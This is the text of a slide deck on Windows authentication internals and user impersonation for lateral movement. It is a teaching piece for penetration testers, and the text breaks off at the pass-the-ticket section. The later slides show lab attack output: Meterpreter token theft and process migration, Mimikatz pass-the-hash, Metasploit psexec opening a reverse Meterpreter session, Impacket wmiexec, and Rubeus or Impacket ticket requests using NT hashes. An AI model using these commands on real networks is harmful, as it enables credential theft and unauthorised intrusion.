Understanding Windows
Lateral Movements

ATTL4S & ElephantSe4l
Understanding Windows
Lateral Movements

ATTL4S & ElephantSe4l
Understanding Windows
User Impersonation
# ATTL4S

- Daniel López Jiménez
  - Twitter: @DaniLJ94
  - GitHub: @ATTL4S
  - Youtube: ATTL4S

- Loves *Windows* and *Active Directory* security
  - Managing Security Consultant at **NCC Group**
  - Associate Teacher at **Universidad Castilla-La Mancha (MCSI)**
# ElephantSe4l

- Manuel León
  - Twitter: @ElephantSe4l
  - GitHub: @ElephantSe4l

- Very curious, enjoys Windows Internals and Code Reviewing
  - Experienced Programmer
  - Security Consultant at NCC Group
The aim of this presentation is understanding the art of user impersonation in Windows systems. This knowledge will be handy when performing lateral movements and other interesting tasks within Windows and Active Directory networks.
Agenda

1. **Windows Authentication**
   - Ways of authentication and main Windows authentication components

2. **User Impersonation**
   - Playing with Windows authentication and stolen credentials

3. **Moving with the SSPI**
   - Examples of how to move laterally through SSPI authentication
Windows Authentication
Ways of Authentication

• There are different ways to authenticate on a Windows system, and each has its implications

• Authenticating with local users is not the same as authenticating with domain users

• Likewise, authenticating to a computer physically (in person) has different requirements than doing so through the network
Local Authentication

• Local users are only present in a **specific system**
  • Only the system knows about them (e.g. `ComputerA\Charles`)

• Two systems may have users with **similar usernames and passwords**
  • `ComputerA\Charles` and `ComputerB\Charles`

• Records of local users are stored within the **Security Account Manager (SAM)** database
  • Windows verifies such records when someone tries to authenticate to the system
Local Authentication (cont.)

1. Hey I am HostA\attl4s

2. Data is verified

3. OK!
Domain Authentication

• Domain users and groups are present in a specific AD domain

• All domain-joined systems (or systems from trusted domains) will know how to handle authentication
  • They will essentially delegate this task to an authentication server (Domain Controller)

• Domain user and computer records are stored within the NT Directory Services (NTDS) database
  • Domain Controllers verify such records when an identity tries to authenticate
1. I am Domain\ATTL4S
2. Delegate Auth
3. Data is verified
4. OK!
5. OK!
Physical Authentication

• When physically in front of a Windows computer, if you have a valid account, you should be able to log in

• This applies both to local users and domain users (as long as the target system knows about the account)

• In default configurations of Active Directory, any domain user can physically log in into any domain computer
Remote Authentication

• Unlike physical, remote authentications require privileges by default
  • Being member of Administrators, Remote Desktop Users...

• When doing a Pentest, we are not typically going to be in a position to perform physical authentications

• In terms of moving laterally within a network, we usually care about remote authentications
Windows Authentication

• In order to understand the art of impersonating users, it is important to be familiar with the Windows authentication mechanism

• In the following sections we will examine:
  • Authentication Packages (APs) / Security Support Providers (SSPs)
  • Interactive and Non-Interactive Authentications
  • Logon Sessions
  • Access Tokens
Authentication Packages
Authentication Packages

• Authentication Packages (APs) authenticate Windows users by analysing their logon data
  • Also known as Security Support Providers (SSP)

• Different APs provide support for a variety of logon processes and authentication protocols

• APs come in the form of DLLs, which are loaded and used by the Local Security Authority (LSA) component
Authentication Packages (cont.)

• APs present by default in Windows:

SSP Packages Provided by Microsoft

Following are the SSP *authentication packages* provided by Microsoft.

- Credential Security Support Provider
- Microsoft Negotiate
- Microsoft NTLM
- Microsoft Kerberos
- Microsoft Digest SSP
- Secure Channel

Authentication Packages (cont.)

- APs provide the logic needed for Windows to act as a **client** and as an **authentication server**

- **Client** - Want to connect to a service with Windows authentication?
  - Windows will transparently select the appropriate Authentication Package and leverage your cached credentials

- **Server** - Your service/program supports Windows authentication?
  - Windows will transparently authenticate clients with the appropriate Authentication Package and credential database
Local Security Authority

- As shown in the image below, the LSA component orchestrates everything

![Diagram of Local Security Authority components](image)
Microsoft provides the Security Support Provider Interface (SSPI) to easily integrate applications with this authentication system.
SSP Interface (cont.)

SSPI Functions

Security Support Provider Interface (SSPI) functions fall into the following major categories.

- **Package management**
  Functions that list the available security packages and select a package.

- **Credential management**
  Functions that create and work with handles to the credentials of principals.

- **Context management**
  Functions that use credentials handles to create a security context.

- **Message support**
  Functions that use security contexts to ensure message integrity and privacy during message exchanges over the secured connection. Integrity is achieved through message signing and signature verification. Privacy is achieved through message encryption and decryption.
Successful Authentication

• When an authentication succeeds, the selected Authentication Package carries out two important tasks:

  1. Creates a new logon session within the system

  2. Provides security information about the authenticated user to LSA

• LSA uses that information to create an Access Token which represents the user’s local security context on that system
Auth package

UserA

HostA

Physical
Remote

NTLM
Kerberos

Logon Session

LSA

TOKEN
User SID
Logon Session ID
Integrity
Groups
...

Creates

Provides

Security information
Interactive and Non-Interactive Authentications
• Local/domain and physical/remote were not enough
  • It is also important to differentiate between interactive and non-interactive authentications!

• Microsoft differentiates these based on whether the user inputs its logon data or not
  • User specifies credentials → Interactive
  • User does not specify credentials → Non-Interactive

Interactive

- Typically (but not limited to) when you log in through Window’s auth screen
  - E.g. physical authentication via Winlogon + LogonUI

- The important bit here is that **user credentials are cached** within the memory of the LSA process (lsass)
  - Credentials are cached and prepared for each Authentication Package

- Cached credentials allow Windows providing a Single Sign-On (SSO) experience to users
Interactive (cont.)

Arco Capaz


atta4s.github.io
Non-Interactive

• “Cached credentials allow Windows providing a Single Sign-On (SSO) experience to users”
  • Such statement makes sense when talking about non-interactive authentications

• Rather than the user moving a finger, the application in use leverages the cached credentials on behalf of the user

• That is, non-interactive authentications are only supposed to work after an interactive authentication
  • When cached credentials are available!

Non-Interactive (cont.)

• How does this work? Such applications leverage the Security Support Provider Interface (SSPI) to perform these authentications

Non-Interactive (cont.)
Logon Sessions
Logon Sessions

• Logon sessions are created on the target system after a successful authentication
  • Does not matter whether it is physical/remote/domain/local/interactive/non-interactive

• The important bit here:

  AP cached credentials are tied to logon sessions!

• In which situations are logon sessions going to have cached credentials?

https://docs.microsoft.com/en-us/windows/desktop/secauthn/lsa-logon-sessions
Logon sessions will typically have **cached credentials** after an **interactive authentication**.

On the other hand, **non-interactive authentications** commonly result in logon sessions **without cached credentials**.

As you may have noticed ("typically, commonly")...

- Sometimes interactive does not result in cached credentials
- Sometimes non-interactive may result in cached credentials
Logon Types

- For reference, there are different types of logon sessions (link in the footnotes)

<table>
<thead>
<tr>
<th>Logon type</th>
<th># Authenticators accepted</th>
<th>Reusable credentials in LSA session</th>
<th>Examples</th>
</tr>
</thead>
<tbody>
<tr>
<td>Interactive (also known as,</td>
<td>2</td>
<td>Yes</td>
<td>Console logon; RUNAS; Hardware remote control solutions (such as Network KVM or Remote Access / Lights-Out Card in server) IIS Basic Auth (before IIS 6.0)</td>
</tr>
<tr>
<td>Logon locally)</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Network</td>
<td>3</td>
<td>No (except if delegation is</td>
<td>NET USE; RPC calls; Remote registry; IIS integrated Windows auth; SQL Windows auth;</td>
</tr>
<tr>
<td></td>
<td></td>
<td>enabled, then Kerberos tickets</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>present)</td>
<td></td>
</tr>
<tr>
<td>Batch</td>
<td>4</td>
<td>Yes</td>
<td>Scheduled tasks</td>
</tr>
<tr>
<td>Service</td>
<td>5</td>
<td>Yes</td>
<td>Windows services</td>
</tr>
</tbody>
</table>
Example - Interactive

```powershell
PS C:\Users\acapaz\Desktop> Get-LogonSession

Domain             : CAPSULE
Description        : 
UserName           : Acapaz
InstallDate        : 
ComputerName       : FILESERVER
LogonId            : 415384
LogonType          : Interactive
AuthenticationPackage : Kerberos
Name               : 
StartTime          : 5/18/2019 10:18:13 AM
Caption            : 
```
Example - Network

```
PS C:\Users\acapaz> whoami
Name: Acapaz

PS C:\Users\acapaz> Enter-PSSession -ComputerName fileserv

PS C:\Users\acapaz\Documents> hostname
hostname:
```

```
Domain: CAPSULE
Description: 
UserName: Acapaz
InstallDate: 
ComputerName: FILESERVER
LogonId: 1132194
LogonType: Network
AuthenticationPackage: Kerberos
Name: 
Caption: 
```
Let’s move on and see what access tokens are and their purpose!
Access Tokens
AttL4S: Auth package

Logon Session

Security information

UserA

HostA

Physical
Remote

NTLM
Kerberos

Create
Logon Session

LSA

Create
Logon Session ID

TOKEN
User SID
Integrity
Groups
...

NTLM
Kerberos
Access Tokens

• When a logon session is created, information is returned to LSA that is used to create an access token

• An access token is a protected object that contains the local security context of an authenticated user

  • Every access token is tied to a logon session

  • Access tokens are associated to processes or threads
Access Tokens (cont.)

[Diagram showing Process.exe, Token, SSPI, LSA, Logon Session 1, Logon Session 2, Cached Credentials]
What’s Inside a Token

Access tokens contain important data about the user and its execution context:

- The user security identifier (SID)
- Groups the user is a member of
- A list of privileges
- Logon session ID
- Integrity level
- Type of the token
- ...

Multiple Security Contexts

• Within Windows, it is possible for the same user to have different execution contexts
  • E.g. User Account Control (UAC) splits execution between medium (regular) and high integrity (admin)

• How? Windows allows the same user to have different access tokens and logon sessions in the same system
Purpose of Access Tokens

• Windows uses access tokens to carry out access control decisions

• Windows securable objects have a list of control rules (DACL) associated

• Processes/threads accessing such objects have an access token

• The token information is compared against the control rules of an object to determine if access is allowed or denied
Passwords.txt

Object’s Security Descriptor

... 

DAACL

ACE 1
Access Denied
S-1-5-21\-domain\-1004 (wint3r)
Read, Write, Execute

ACE 2
Access Allowed
S-1-5-32-544 (Administrators)
Write

Attl4s’s Process

Access Token
...

Groups
S-1-5-32-544 (Administrators)
...

Wint3r’s Process

Access Token
...

User SID
S-1-5-21\-domain\-1004
Token Types

• **Primary Tokens (process tokens)**
  • Every process has a primary token associated
  • When a new process is created, the default action is to inherit the primary token of its parent

• **Impersonation Tokens (thread tokens)**
  • Enable a thread to run with a different security context (different token) than the parent process
  • Usually used for client and server scenarios
Impersonation Tokens

- A new thread is created for every client connecting to the service
- Thanks to impersonation tokens, threads can run with the security context of clients
- This enables the service to control access via ACLs
How does it work?

• Services which support Windows authentication carry out something called client Impersonation

• When a client connects to a service of this kind:
  1. Credentials are verified
  2. An access token with the security context of the client is created
  3. The service places a copy of that token into a new thread
  4. Such thread can act on behalf of the client and is subject to the restrictions imposed by ACLs
Impersonation Levels

• Some services may just require limited information from their clients and not a full impersonation

• Depending on the service and how it’s configured, impersonation tokens can have different impersonation levels

<table>
<thead>
<tr>
<th>Impersonation level</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>SecurityAnonymous</td>
<td>The server cannot impersonate or identify the client.</td>
</tr>
<tr>
<td>SecurityIdentification</td>
<td>The server can get the identity and privileges of the client, but cannot impersonate the client.</td>
</tr>
<tr>
<td>SecurityImpersonation</td>
<td>The server can impersonate the client’s security context on the local system.</td>
</tr>
<tr>
<td>SecurityDelegation</td>
<td>The server can impersonate the client’s security context on remote systems.</td>
</tr>
</tbody>
</table>
User Impersonation
User Impersonation

• Creating or hijacking the security context of another user to act on its behalf in the network
  • Creating a security context commonly requires credentials
  • Hijacking a security context commonly requires privileges

• We will focus on leveraging the Windows components studied in previous sections (APs, logon sessions, access tokens...)
  • But we will also show alternative ways to perform user impersonation
User Impersonation (cont.)

• The following sections will talk about impersonation via:
  • Access token manipulation
  • Passwords
  • NT hashes
  • Kerberos tickets

• Bear in mind that there exist other types of credential material and protocols, but they will not be explained here
Do I have passwords?

Do I have hashes / tickets?

Can I manipulate interesting tokens?
Can I Manipulate Interesting Tokens?
Recap

• Starting with this – useful for the next sections!

• Recall that credentials (if any) are tied to logon sessions
  • Usually the result of an interactive authentication

• If you want to use a token to access network resources, it must be associated to a session with credentials
  • Access tokens represent the local security context of an authenticated user
  • Session cached credentials can be seen as the “network security context”
Recap (cont.)

- Process.exe
- Token
- LSA
- Logon Session 1
- Logon Session 2
- Cached Credentials

https://docs.microsoft.com/en-us/windows/desktop/secauthz/access-tokens
Access Token Manipulation

• The Windows API provides functionality to manipulate access tokens
  • E.g. duplicate tokens, create a new process with an specific token... and so on

• Depending what you are trying to achieve, you may need privileges
  • As a local admin or SYSTEM, you will be able to manipulate any token in the system
  • As a service account, you will likely be able to escalate privileges using techniques like Hot Potato and the like
  • As a normal user, you will be able to manipulate your own stuff (more on this later)
Common Approaches

• There are two common approaches for when you want to hijack the security context of an existing token:

1. **Token Impersonation**
   • Duplicate the target token and apply it to your existing process or a new one

2. **Process Injection**
   • Inject your payload/capability into the process where the target token is living
Token Impersonation
1. Duplicate Token

2. Apply to...

New Process or Existing Thread
meterpreter > getuid
Server username: CAP\Vegeta_sa
meterpreter >
meterpreter > ps | grep bulma
Filtering on 'bulma'

Process List
============

<table>
<thead>
<tr>
<th>PID</th>
<th>PPID</th>
<th>Name</th>
<th>Arch</th>
<th>Session</th>
<th>User</th>
<th>Path</th>
</tr>
</thead>
<tbody>
<tr>
<td>5864</td>
<td>5804</td>
<td>bulma_process.exe</td>
<td>x64</td>
<td></td>
<td>CAP\bulma_da</td>
<td>C:\bulma_process.exe</td>
</tr>
</tbody>
</table>

meterpreter >
meterpreter > steal_token 5864
Stolen token with username: CAP\bulma_da
meterpreter >
meterpreter > getuid
Server username: CAP\bulma_da
meterpreter >
Process Injection
1. Inject

Payload

Process

TOKEN
- User SID
- Logon Session ID
- Integrity
- Groups
- ...

Logon Session
meterpreter > getuid
Server username: CAP\Vegeta_sa
meterpreter >
meterpreter > getpid
Current pid: 1644
meterpreter >
meterpreter > ps | grep bulma
Filtering on 'bulma'

Process List
============

<table>
<thead>
<tr>
<th>PID</th>
<th>PPID</th>
<th>Name</th>
<th>Arch</th>
<th>Session</th>
<th>User</th>
<th>Path</th>
</tr>
</thead>
<tbody>
<tr>
<td>5864</td>
<td>5804</td>
<td>bulma_process.exe</td>
<td>x64</td>
<td>1</td>
<td>CAP\bulma_da</td>
<td>C:\bulma_process.exe</td>
</tr>
</tbody>
</table>

meterpreter >
meterpreter > migrate 5864
[+] Migrating from 1644 to 5864,..
[+] Migration completed successfully.

meterpreter >
meterpreter > getuid
Server username: CAP\bulma_da
meterpreter >
meterpreter > getpid
Current pid: 5864

Do I Have Passwords?
RunAs.exe

• If you are a Windows user, you are probably familiar with RunAs.exe

• This tool enables the creation of processes using alternate credentials
  • “I am Vegeta and I want to create a process running as Bulma”

• A default execution of RunAs will verify the provided credentials via LSA
  • Similar to an interactive authentication (i.e. credentials cached for all the supported APs)
  • The computer must know how to handle authentication for the target user
Unknown Identities

• What happens when you use credentials from an account that is not known by the current system?
  • E.g. local user from other system or domain user from an untrusted domain

https://blog.cobaltstrike.com/2015/12/16/windows-access-tokens-and-alternate-credentials/
The Netonly Flag

• RunAs offers the Netonly flag to allow the scenario described in the previous slide.

• This flag tells RunAs that the specified credentials are for remote access only:
  • Credentials are not verified by LSA (i.e. you can specify wrong ones).

• Netonly processes have therefore two different security contexts:
  • Local level: the process runs with the original identity that executed RunAs.
  • Network level: the process runs with the new identity (via cached credentials).

https://blog.cobaltstrike.com/2015/12/16/windows-access-tokens-and-alternate-credentials/
1. A new logon session is created with the specified credentials

2. The current token is duplicated, and its logon session ID updated with the new one

3. The new process runs with such token
Under The Hood

- RunAs uses the Win32 API **CreateProcessWithLogon** function
  - Creates a new process with the security context of the specified credentials

```c
BOOL CreateProcessWithLogonW(
    [in]       LPCWSTR      lpUsername,  
    [in, optional] LPCWSTR    lpDomain,  
    [in]       LPCWSTR      lpPassword,  
    [in]       DWORD        dwLogonFlags,  
    [in, optional] LPCWSTR    lpApplicationName,  
    [in, out, optional] LPWSTR   lpCommandLine,  
    [in]       DWORD        dwCreationFlags,  
    [in, optional] LPVOID     lpEnvironment,  
    [in, optional] LPCWSTR    lpCurrentDirectory,  
    [in]       LPPSTARTUPINFOW lpStartupInfo,  
    [out]      LPPPROCESS_INFORMATION lpProcessInformation
);
```

• The Netonly flag uses the LOGON_NETCREDENTIALS_ONLY logon option, which creates and uses a new logon session, but with the original token

<table>
<thead>
<tr>
<th>Value</th>
<th>Meaning</th>
</tr>
</thead>
<tbody>
<tr>
<td>LOGON_WITH_PROFILE 0x00000001</td>
<td>Log on, then load the user profile in the HKEY_USERS registry key. The function returns after the profile is loaded. Loading the profile can be time-consuming, so it is best to use this value only if you must access the information in the HKEY_CURRENT_USER registry key.</td>
</tr>
<tr>
<td>LOGON_NETCREDENTIALS_ONLY 0x00000002</td>
<td>Log on, but use the specified credentials on the network only. The new process uses the same token as the caller, but the system creates a new logon session within LSA, and the process uses the specified credentials as the default credentials. This value can be used to create a process that uses a different set of credentials locally than it does remotely. This is useful in inter-domain scenarios where there is no trust relationship. The system does not validate the specified credentials. Therefore, the process can start, but it may not have access to network resources.</td>
</tr>
</tbody>
</table>

Forget About RunAs

- Popular frameworks like MSF have their own RunAs (without the limitations of the original one)
  - E.g. post/windows/manage/run_as

```
msf6 post/windows/manage/run_as) > options
Module options (post/windows/manage/run_as):
    
    Name       Current Setting Required Description
    --------------- ------- ------ ----------------------------------------
    CMD          cmd.exe yes    Command to execute
    CMDOUT       false   yes    Retrieve command output
    DOMAIN       capsule.corp yes   Domain to login with
    PASSWORD     Potato0123 yes   Password to login with
    SESSION      4        yes    The session to run this module on
    USER         bulla_dao yes   Username to login with

View the full module info with the info, or info -d command.
```

```
msf6 post/windows/manage/run_as) > run
[*] Executing CreateProcessWithLogonW...
[*] Process started successfully, PID: 4256
[*] Command Run: cmd.exe
[*] Post module execution completed
msf6 post/windows/manage/run_as) >
```
Forget About RunAs (cont.)

Interesting approaches?

1. Execute your payload directly as an executable file
   • The new session will have the desired security context

2. Create an arbitrary process and steal its token
   • Your existing session will acquire the desired security context

3. Create an arbitrary process and inject your payload into it
   • The new session will have the desired security context
BONUS: MakeToken

- `CreateProcessWithLogon` is nice, but `LogonUser` is even better
- `CreateProcessWithLogon` in fact uses `LogonUser`

The `LogonUser` function attempts to log a user on to the local computer. The local computer is the computer from which `LogonUser` was called. You cannot use `LogonUser` to log on to a remote computer. You specify the user with a user name and domain and authenticate the user with a plaintext password. If the function succeeds, you receive a handle to a token that represents the logged-on user. You can then use this token handle to impersonate the specified user or, in most cases, to create a process that runs in the context of the specified user.

**Syntax**

```cpp
BOOL LogonUserA(
[in] LPCSTR lpszUsername,
[in, optional] LPCSTR lpszDomain,
[in, optional] LPCSTR lpszPassword,
[in] DWORD dwLogonType,
[in] DWORD dwLogonProvider,
[out] PHANDLE phToken);
```

**BONUS: MakeToken (cont.)**

- With `LogonUser` we can create a new logon session/token pair without having to create a new process.

- We can choose between different logon approaches
  - E.g. `LOGON32_LOGON_NEW_CREDENTIALS` for "Netonly"

- The resulting token can be used through functions like `ImpersonateLoggedOnUser`
Notes About Token Manipulation
Few Notes

Doing token manipulation from a **high integrity administrative context** is easy – you can do plenty of things:

1. Steal any token in the system
2. Inject into any process
3. Apply a stolen token into your current context
4. Create new processes with a stolen token
Few Notes (cont.)

The same cannot be said for a medium integrity non-administrative context

1. You can only play with your own processes (includes those from RunAs)
   • E.g. stealing tokens / process injection

2. Impersonating tokens in your current process should work fine
   • As long as you can access those tokens!

3. Limitations when trying to create new processes using a token
   • Functions like CreateProcessAsUser or CreateProcessWithToken require privileges
Few Notes (cont.)

• In other words, if you are impersonating tokens from an **unprivileged context**, focus on **inline-execution**

```plaintext
meterpreter > steal_token 304
Stolen token with username: CAP\bulma_da
meterpreter >
meterpreter > shell
[-] Failed to spawn shell with thread impersonation. Retrying without it.
Process 6108 created.
Channel 4 created.
Microsoft Windows [Version 10.0.17763.107]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\drive\whoami
whoami
cap\vegeta_sa
```
Do I Have Hashes?
Stolen Hashes

• Let’s suppose we have the NT hash of a juicy user (e.g. capsule.corp\bulma_da)

• How can we use such hash to impersonate her and access all them business critical goodiez?
Bad News?

- Unfortunately, Windows does not provide functionality to authenticate users via NT hashes
  - There is no LogonUserWithHash or CreateProcessWithHash functions 😞

- If we want to use a hash along with LSA, we need to manipulate and inject stuff into the lsass process
  - This is where all logon session and cached credential information is present
  - Not only requires administrative privileges, it is also quite risky!
Do LSA. Or Do Not.

• In reality, we don’t have to rely on LSA for user impersonation
  • This also applies for when you have passwords or any other cred material
  • Using LSA is an option!

• We can use tools with native support for protocols like NTLM or Kerberos
  • We will call this approach: “The Fuck LSA way”

• Of course, each approach has its own advantages and disadvantages
The LSA Way
Mimikatz Pass-the-Hash

• We will use Mimikatz to understand an ‘LSA-based’ Pass-the-Hash technique
  • ‘LSA-based’ because we can do Pass-the-Hash without LSA as well

• Mimikatz provides functionality to create a new process using an NT hash rather than a password

• The module we need to use is ‘sekurlsa::pth’
Mimikatz Pass-the-Hash (cont.)

• In order to use Mimikatz’ approach you require **administrative privileges**
  • Specifically, SeDebugPrivilege
  • We are writing data into the lsass process

• By default, Mimikatz does this for the following authentication packages:
  • Msv1_0 (NTLM)
  • Kerberos
Mimikatz Pass-the-Hash (cont.)

```
mimikatz # privilege::cebug
Privilege '20' OK

mimikatz # sekurlsa::pth /user:bulma_da /domain:capsule.corp /ntlm:BD35111AB3B0D46129EFDBAB06B49C4 /run:notepad.exe
user : bulma_da
domain : capsule.corp
program : notepad.exe
impers. : no
NTLM : bd35111ab3b0c46129efdbab06b49c4

  | PID  | 1308 |
  | TID  | 4676 |
  | LSA Process is now R/W
  | LUID 0 ; 3548709 (00000000:00362625)
  | msv1_0 - data ccpy @ 000002B912DBC830 : OK !
  | kerberos - data ccpy @ 000002B9135B8A78
  | aes256_hmac -> null
  | aes128_hmac -> null
  | rc4_hmac_nt OK
  | rc4_hmac_old OK
  | rc4_md4 OK
  | rc4_hmac_nt_exp OK
  | rc4_hmac_old_exp OK
  | *Password replace @ 000002B912AEDC68 (32) -> null
```
Mimikatz Steps

Runas /netonly with the hash instead of the password!!

1. New process with CreateProcessWithLogon
   • LOGON_NETCREDENTIALS_ONLY

2. Identify the new logon session created
   • This can be extracted from the access token belonging to the new process

3. Write credential material into the target logon session
   • Requires administrative privileges

https://github.com/gentilkiwi/mimikatz/blob/master/mimikatz/modules/sekurlsa/kuhl_m_sekurlsa.c
Mimikatz Steps (cont.)

1. CreateProcessWithLogon
2. Find associated logon session
3. Inject data

https://github.com/gentilkiwi/mimikatz/blob/master/mimikatz/modules/sekurlsa/kuhl_m_sekurlsa.c
Mimikatz Steps (cont.)

```c
if(kull_m_process_create(KNULL_M_PROCESS_CREATE_LOGON, szRun, CREATE_SUSPENDED, NULL, LOGON_NETCREDENTIALS_ONLY, szUser, szDomain, L"", &processInfos, FALSE))
{
    fprintf(stderr, "%s %s\n", processInfos.dwProcessId, processInfos.dwThreadId);
    if(OpenProcessToken(processInfos.hProcess, TOKEN_READ | (isImpersonate ? TOKEN_DUPLICATE : 0), &hToken))
    {
        if(GetTokenInformation(hToken, TokenStatistics, &tokenStats, sizeof(tokenStats), &dwNeededSize))
        {
            kuhl_sekurlsa_pth_uid(&data);
            if(data.isReplaceOk)
            {
                if(isImpersonate)
                {
                    if(DuplicateTokenEx(hToken, TOKEN_QUERY | TOKEN_IMPERSONATE, NULL, SecurityDelegation, TokenImpersonation, &newToken))
                }
            }
        }
    }
}

case NULL_M_PROCESS_CREATE_LOGON:
    status = CreateProcessWithLogonW(user, domain, password, ilogonFlags, NULL, dupCommandLine, iProcessFlags, NULL, NULL, &startupInfo, ptrProcessInfos);
    break;
```
Mimikatz Pass-the-Hash (cont.)

```plaintext
meterpreter > steal_token l308
Stolen token with username: CAP\Vegeta_sa

meterpreter > ls \\\\dc01.capsule.corp\\\C$
Listing: \dc01.capsule.corp\C$

<table>
<thead>
<tr>
<th>Mode</th>
<th>Size</th>
<th>Type</th>
<th>Last modified</th>
<th>Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>040777/</td>
<td></td>
<td>dir</td>
<td>2021-06-21 16:35:41 +0200</td>
<td>$Recycle.Bin</td>
</tr>
<tr>
<td>040777/</td>
<td></td>
<td>dir</td>
<td>2022-12-08 11:42:47 +0100</td>
<td>Config.Msi</td>
</tr>
<tr>
<td>040777/</td>
<td></td>
<td>dir</td>
<td>2020-04-15 22:47:42 +0200</td>
<td>Documents and Settings</td>
</tr>
<tr>
<td>040777/</td>
<td></td>
<td>dir</td>
<td>2018-09-15 09:19:00 +0200</td>
<td>PerfLogs</td>
</tr>
<tr>
<td>040777/</td>
<td></td>
<td>dir</td>
<td>2020-04-18 01:45:47 +0200</td>
<td>PortQryUI</td>
</tr>
<tr>
<td>040555/r-xr-xr-x</td>
<td></td>
<td>dir</td>
<td>2022-11-04 11:46:01 +0100</td>
<td>Program Files</td>
</tr>
<tr>
<td>040777/</td>
<td></td>
<td>dir</td>
<td>2021-10-30 19:07:42 +0200</td>
<td>Program Files (x86)</td>
</tr>
<tr>
<td>040777/</td>
<td></td>
<td>dir</td>
<td>2022-12-09 10:27:33 +0200</td>
<td>ProgramData</td>
</tr>
<tr>
<td>040777/</td>
<td></td>
<td>dir</td>
<td>2021-03-21 12:15:55 +0100</td>
<td>ShareSupport</td>
</tr>
</tbody>
</table>
```
Patatas123

LSASS (msv0_1)

Access

"PASS-THE-HASH"

Benjamin Delpy – “Abusing Microsoft Kerberos. Sorry you guys don’t get it” – Blackhat 2014
**NORMAL**

**“OVERPASS-THE-HASH”**

Benjamin Delpy – “Abusing Microsoft Kerberos. Sorry you guys don’t get it” – Blackhat 2014
The Fuck LSA Way
The Fuck LSA Way

• This approach is quite easy - just find tools with native support for the protocols you want to use

• You don’t have to play with complex Windows components - just specify credentials to the tool and you are fine

• Some examples are shown in the following slides for NTLM and Kerberos
NTLM – Invoke-the-Hash

```
metpreter > powershell import '/home/attl4s/Opt/Invoke-TheHash/Invoke-SMBEnum.psl' -s 1
[+] File successfully imported. No result was returned.
metpreter >
metpreter > powershell execute 'Invoke-SMBEnum -target dc01.capsule.corp -domain capsule.corp -username bulma_da -hash BD35111AB3B0B046129EFBDAB06849C4' -s 1
[+] Command execution completed:
dc01.capsule.corp Administrators Group Members:

Username         Domain Type
--------          -------
Administrator     CAP    user
Domain Admins     CAP    group
Enterprise Admins CAP    group

dc01.capsule.corp Users:

Username   RID
--------    ---
accountSvc  1147
Adam.Wally  1131
Administrator  500
backupSvc   1146
bulma       1122
bulma_da    1121
```

https://github.com/Kevin-Robertson/Invoke-TheHash
NTLM – Metasploit

```
msf6 exploit(windows/smb/psexec) > run SMBUser=bulma_da SMBDomain=capsule.corp SMBPass=aad3b435b51404eead3b435b5104ee:BD35111AB380D46129EFBDBAB06B49C4 smb::auth=ntlm RHOST=10.11.3.5

[*] Started HTTPS reverse handler on https://10.11.3.165:9443/home/api/v1/heartbeat
[*] 10.11.3.5:445 - Connecting to the server...
[*] 10.11.3.5:445 - Authenticating to 10.11.3.5:445|capsule.corp as user 'bulma_da'...
[!] 10.11.3.5:445 - peer_native_os is only available with SMB1 (current version: SMB3)
[*] 10.11.3.5:445 - Uploading payload... NgpPfsoR.exe
[*] 10.11.3.5:445 - Created \NgpPfsoR.exe...
[+] 10.11.3.5:445 - Service started successfully...
[*] 10.11.3.5:445 - Deleting \NgpPfsoR.exe...
[+] https://10.11.3.165:9443/home/api/v1/heartbeat handling request from 10.11.3.5; (UUID: vzdnarjf) Staging x64 payload (20820 bytes) ...
[*] Meterpreter session 6 opened (10.11.3.165:9443 -> 10.11.3.5:52276) at
```

NTLM – Impacket

```bash
attls@strobe:~ wmiexec.py capsule.corp/bulma_da:Patatas123@10.11.3.5 -hashes:80351111AB3B0D46129EF80B806B49C4
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\\\>whoami
cap\bulma_da
```
Kerberos

• For Kerberos we are only going to see examples of tools that can generate raw Kerberos traffic to obtain ticket-granting-tickets (TGT) or service tickets (ST)

• In ‘Do I Have Tickets?’ we will see how to use those tickets to actually interact with a service
Ask Kerberos (cont.)

ASK-TGT/TGS

https://www.harmj0y.net/blog/redteaming/from-kekeo-to-rubeus/
Ask Kerberos – Rubeus

```post(windows/manage/execute dotnet_assembly) > run DOTNET EXE=/home/attl4s/Opt/Rubeus.exe ARGUMENTS="'asktgt/user:bulma_da /domain:capsule.corp /rc4:BD35111AB380D46129EFBDBAB6649C4 /nowrap' session=1
[*] Running module against WEB01
[*] Launching notepad.exe to host CLR...
[*] Process 4880 launched.
[*] Reflectively injecting the Host DLL into 4880..
[*] Injecting Host into 4880...
[*] Host injected. Copy assembly into 4880...
[*] Assembly copied.
[*] Executing...
[*] Start reading output

v1.6.1

[*] Action: Ask TGT
[*] Using rc4 hmac hash: BD35111AB380D46129EFBDBAB6649C4
[*] Building AS-REQ (w/ preauth) for: 'capsule.corp\bulma_da'
[*] TGT request successful!
[*] base64(ticket.kirbi):

d0IE+jCCPgamAwIBBaEDApEmoIEdzCCBythogQMITEA6ADAgEoFoQ4bDn8UJYULIpuyfj09SUKIHeMBb+gAwIAAhYMYYdBmtyYnRodxBsMy2Fj3vS5S5b3j3w041DxzcCA0qAwIEqEdAgECooID0SCAT7661frsKMDK4G/z8R8f4CRzcTh3j01qG02V2RkabStyfylsictpqHlijm898n7V5d
```

https://github.com/GhostPack/Rubeus
Ask Kerberos – Impacket

```bash
attl4s@strobe:~$ getTGT.py capsule.corp/bulma_da -hashes :8D35111A83B0D46129EFD8B0B6849C4 -dc-ip 10.11.3.5
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[*] Saving ticket in bulma_da.ccache
attl4s@strobe:~$ export KRB5CCNAME=bulma_da.ccache
attl4s@strobe:~$
attl4s@strobe:~$ getST.py -k -no-pass -spn cifs/dc01.capsule.corp -dc-ip 10.11.3.5 bulma_da
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[*] Getting ST for user
[*] Saving ticket in bulma_da.ccache
attl4s@strobe:~$
```

https://github.com/fortra/impacket
attl4s.github.io
Do I Have Tickets?
Kerberos Tickets

• Although Windows does not provide functionality for NT hashes, it does for Kerberos tickets

• You can import TGTs or STs into existing logon sessions
  • Importing a ticket into your current session does not require privileges
  • Importing a ticket into another session does require privileges

• Like the other sections, we can also use tools that do not rely on LSA
The LSA Way
Pass-the-Ticket

